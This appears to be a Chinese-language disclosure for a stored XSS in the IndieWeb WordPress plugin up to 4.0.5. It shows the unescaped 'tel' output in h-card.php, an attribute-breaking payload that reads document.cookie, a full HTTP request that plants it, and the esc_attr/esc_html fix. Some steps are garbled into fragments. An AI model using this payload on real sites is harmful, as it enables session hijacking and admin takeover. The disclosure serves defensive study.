免责声明: 此仓库仅用于教育目的和道德披露。该漏洞已负责任地报告给供应商并已修补。请勿在未经授权的情况下利用此信息攻击系统。
在 IndieWeb WordPress 插件(版本 <= 4.0.5)中发现了一个存储型跨站脚本(XSS)漏洞。此漏洞允许具有作者或更高级别的已认证攻击者在其用户资料的"电话"字段中注入恶意 JavaScript。
当"作者资料 H-Card 小工具"在前端显示时,注入的脚本未经适当净化即被渲染。如果高权限用户(例如管理员)点击受操纵的链接,脚本将在其浏览器上下文中执行。这可能导致会话劫持、未经授权的管理操作以及完全账户接管(ATO)。
<= 4.0.5核心问题在于插件模板系统中对用户元数据的不安全处理,具体表现为未能使用 WordPress 内置的转义函数。
有漏洞的文件: templates/h-card.php(第 27 行)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
缺陷:
插件直接使用 echo 将用户的 tel 元数据输出到 href HTML 属性中,而未使用 esc_attr() 进行包装。这允许攻击者提供精心构造的字符串,其中包含双引号(")来提前关闭 href 属性,随后添加任意 HTML 属性(例如 style 或 onclick)。
<= 4.0.5 的 WordPress 站点。/wp-admin/profile.php)。href 属性):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single())上渲染以显示作者信息。POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
要修复此漏洞,插件开发者必须使用 WordPress 的 esc_attr() 和 esc_html() 函数正确转义输出。
修复后的代码示例:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>